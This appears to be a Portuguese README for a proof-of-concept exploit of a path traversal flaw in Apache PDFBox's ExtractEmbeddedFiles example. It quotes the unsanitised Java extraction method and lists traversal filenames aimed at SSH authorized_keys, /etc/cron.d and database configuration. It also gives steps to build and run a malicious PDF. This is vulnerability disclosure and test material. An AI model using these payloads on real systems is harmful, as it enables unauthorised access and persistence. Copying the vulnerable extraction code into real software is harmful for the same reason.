
Prova de conceito de exploit para a vulnerabilidade de path traversal no Apache PDFBox (CVE-2026-23907), demonstrando escrita arbitrária de arquivos por meio de PDFs maliciosos com arquivos incorporados.
O código de exemplo ExtractEmbeddedFiles do Apache PDFBox não sanitiza nomes de arquivos ao extrair arquivos incorporados de PDFs. Um atacante pode incorporar arquivos com sequências de path traversal (../) para gravar arquivos em locais arbitrários do sistema de arquivos.
Arquivo: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
O parâmetro filename vem diretamente do PDF sem validação.
Injeção de Chave SSH
../../.ssh/authorized_keysInjeção de Cron Job
../../../etc/cron.d/maliciousSobrescrita de Configuração
../../config/database.ymlcreate_malicious_pdf.py - Gera PDF malicioso com path traversalTestPathTraversal.java - Demonstra a vulnerabilidadetest_path_traversal.sh - Script de teste automatizadomalicious_path_traversal.pdf - PDF malicioso pré-gerado./test_path_traversal.sh
# 1. Gerar PDF malicioso
python3 create_malicious_pdf.py
# 2. Compilar teste (requer JAR do PDFBox)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Executar teste
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Verificar path traversal
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() sem sanitização